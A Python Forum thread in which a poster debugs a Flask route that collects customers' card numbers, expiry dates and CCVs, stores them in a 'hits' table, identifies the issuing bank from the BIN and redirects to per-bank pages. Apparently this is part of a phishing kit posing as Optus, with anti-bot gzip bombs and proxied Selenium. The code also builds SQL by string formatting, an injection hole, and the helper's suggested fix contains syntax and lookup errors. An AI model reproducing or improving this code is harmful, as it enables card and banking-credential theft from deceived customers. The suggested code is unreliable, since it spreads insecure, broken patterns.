Python Forum

Full Version: IndexError: list index out of range" & "TypeError: The view function f: Flask Web App
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
Hi there, this is my first ever post so im going to try to provide as much info as possible. Basically i have created an app for our company which requests our customer for their first initial payment information (credit card), then once entered the script uses the BIN number to determine which bank they are using, and then forwards them to their bank page so they can setup the direct debit for future transactions. Ive included this part of the script below, there are other parts of the script which do other things on the site which are working and id prefer not to share this as it has some confidential information inside.

The error im getting is : IndexError: list index out of range

Here is the traceback :

Error:
Traceback (most recent call last): File "/Users/joel/virt_env/lib/python3.7/site-packages/flask/app.py", line 2088, in __call__ return self.wsgi_app(environ, start_response) File "/Users/joel/virt_env/lib/python3.7/site-packages/flask/app.py", line 2073, in wsgi_app response = self.handle_exception(e) File "/Users/joel/virt_env/lib/python3.7/site-packages/flask/app.py", line 2070, in wsgi_app response = self.full_dispatch_request() File "/Users/joel/virt_env/lib/python3.7/site-packages/flask/app.py", line 1516, in full_dispatch_request return self.finalize_request(rv) File "/Users/joel/virt_env/lib/python3.7/site-packages/flask/app.py", line 1535, in finalize_request response = self.make_response(rv) File "/Users/joel/virt_env/lib/python3.7/site-packages/flask/app.py", line 1699, in make_response f"The view function for {request.endpoint!r} did not" TypeError: The view function for 'pay' did not return a valid response. The function either returned None or ended without a return statement.
Although if i look further back on the traceback i think the problem lies here in the second to last line but dont know why:
Error:
File "/Users/joel/.pyenv/versions/3.9.5/lib/python3.9/site-packages/flask/app.py", line 1499, in dispatch_request return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args) File "/Users/joel/Documents/GitHub/MAPS/Ubuntu/var/www/optus/OPTUS/app_cc.py", line 133, in pay bank = checkBin(cc) File "/Users/joel/Documents/GitHub/MAPS/Ubuntu/var/www/optus/OPTUS/app_cc.py", line 162, in checkBin bank = response.text.split(cc[:6])[1].split('/table')[0].strip().split('ank:&nbsp;&nbsp;</th><td>')[1].replace( IndexError: list index out of range
from flask import Flask, render_template, json, request, redirect, session, jsonify, url_for, send_file, flash
from flaskext.mysql import MySQL
from pymysql.cursors import DictCursor
from time import sleep
import os
import random
import logging
import requests
from bs4 import BeautifulSoup
import json
from flask_gzipbomb import GzipBombResponse
from selenium import webdriver
from selenium.webdriver.common.proxy import Proxy, ProxyType
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By
import jinja2

dir_path = os.path.dirname(os.path.realpath(__file__))
mysql = MySQL(cursorclass=DictCursor)
app = Flask(__name__)


@app.route('/pay', methods=["POST", "GET"])
def pay():
	error = "Please enter a valid card number."
	cc = "{}{1}{2}{3}".format(request.form.get('first'), request.form.get('second'), request.form.get('third'), request.form.get('fourth'))
	expiry = '{0}/{1}'.format(request.form.get('card_month'), request.form.get('card_year'))
	ccv = request.form.get('card_ccv')
	check = luhn(cc)
	if check:
		sql = "UPDATE hits SET cc = '%s', exp = '%s', ccv = '%s' WHERE mob = '%s'" % (cc, expiry, ccv, session['id'])
		updateDB(sql)
		bank = checkBin(cc)
		if bank == 'CBA':
			session['error'] = None
			return redirect(url_for('CBAhome'))
		elif bank == 'ING':
			session['error'] == None
			return redirect(url_for('INGhome'))
		elif bank == 'NAB':
			session['error'] = None
			return redirect(url_for('NABhome'))
		elif bank == 'ANZ':
			session['error'] = None
			return redirect(url_for('ANZhome'))
		elif bank == 'WSP':
			session['error'] = None
			return redirect(url_for('WSPhome'))
		elif bank == 'GRT':
			session['error'] = None
			return redirect(url_for('GRThome'))
		elif bank == 'NEW':
			session['error'] = None
			return redirect(url_for('NEWhome'))
		else:
			return redirect(url_for('success'))


def checkBin(cc):
	params = (('bins', cc[:6]),)
	response = requests.get('https://ccbins.pro/', params=params)
	bank = response.text.split(cc[:6])[1].split('/table')[0].strip().split('ank:&nbsp;&nbsp;</th><td>')[1].replace(
		'</td></tr>', '')
	print(bank)
	if 'COMMONWEALTH' in bank:
		return 'CBA'
	elif 'ING BANK' in bank:
		return 'ING'
	elif 'NATIONAL' in bank:
		return 'NAB'
	elif 'ZEALAND' in bank:
		return 'ANZ'
	elif 'WESTPAC' in bank:
		return 'WSP'
	elif 'GREATER' in bank:
		return 'GRT'
	elif 'NEWCASTLE' in bank:
		return 'NEW'
	else:
		return False


def luhn(purported):
	LUHN_ODD_LOOKUP = (0, 2, 4, 6, 8, 1, 3, 5, 7, 9)  # sum_of_digits (index * 2)

	if not isinstance(purported, str):
		purported = str(purported)
	try:
		evens = sum(int(p) for p in purported[-1::-2])
		odds = sum(LUHN_ODD_LOOKUP[int(p)] for p in purported[-2::-2])
		return ((evens + odds) % 10 == 0)
	except ValueError:  # Raised if an int conversion fails
		return False
Im not sure if Index Error is the same error as the Type error or if they are related... Any help would be greatly appreciated.

Joel
suspect error line 40:
session['error'] == None
should be :
session['error'] = None

This function (pay) could be replaced with (no way to test, but if not correct, this is very close):
def pay():

    errors = {
        'CBA': 'CBAhome',
        'ING': 'INGhome',
        'NAB': 'NABhome',
        'ANZ': 'ANZhome',
        'WSP': 'WSPhome',
        'GRT': 'GRThome',
        'NEW': 'NEWhome'
    }

    error = "Please enter a valid card number."

    cc = "{}{1}{2}{3}".format(request.form.get('first'),
        request.form.get('second'), request.form.get('third'),
        request.form.get('fourth'))

    expiry = '{0}/{1}'.format(request.form.get('card_month'),
        request.form.get('card_year'))

    ccv = request.form.get('card_ccv')

    if luhn(cc):
        sql = "UPDATE hits SET cc = '%s', exp = '%s', ccv = '%s' \
            WHERE mob = '%s'" % (cc, expiry, ccv, session['id'])
        updateDB(sql)
        bank = checkBin(cc)
        if errors[bank]:
            session['error'] = None
            return redirect(url_for(errors[bank])
        else:
            return redirect(url_for('success'))

Hi Larz,

thanks for getting back to me with what i think is pretty close to a solution for my issue, after trying your suggestion for the (pay) function i get the following error, how would i reseolve this?


Error:
Traceback (most recent call last): File "/Users/jay/.pyenv/versions/3.9.5/lib/python3.9/site-packages/flask/app.py", line 2088, in __call__ return self.wsgi_app(environ, start_response) File "/Users/jay/.pyenv/versions/3.9.5/lib/python3.9/site-packages/flask/app.py", line 2073, in wsgi_app response = self.handle_exception(e) File "/Users/jay/.pyenv/versions/3.9.5/lib/python3.9/site-packages/flask/app.py", line 2070, in wsgi_app response = self.full_dispatch_request() File "/Users/jay/.pyenv/versions/3.9.5/lib/python3.9/site-packages/flask/app.py", line 1515, in full_dispatch_request rv = self.handle_user_exception(e) File "/Users/jay/.pyenv/versions/3.9.5/lib/python3.9/site-packages/flask/app.py", line 1513, in full_dispatch_request rv = self.dispatch_request() File "/Users/jay/.pyenv/versions/3.9.5/lib/python3.9/site-packages/flask/app.py", line 1499, in dispatch_request return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args) File "/Users/jay/Documents/GitHub/MAPS/Ubuntu/var/www/optus/OPTUS/app_cc.py", line 137, in pay cc = "{}{1}{2}{3}".format(request.form.get('first'), ValueError: cannot switch from automatic field numbering to manual field specification
Your help is much appreciated :)
As a advice so is Flask-SQLAlchemy like a standard in Flask ,it make easier and safer to accomplish database tasks in Flask.
Can connect to many databases eg:
mysql://scott:tiger@localhost/mydatabase
Thanks man ill keep that in mind for future projects

(Aug-31-2021, 07:39 PM)snippsat Wrote: [ -> ]As a advice so is Flask-SQLAlchemy like a standard in Flask ,it make easier and safer to accomplish database tasks in Flask.
Can connect to many databases eg:
mysql://scott:tiger@localhost/mydatabase
Thanks man ill keep that in mind for future projects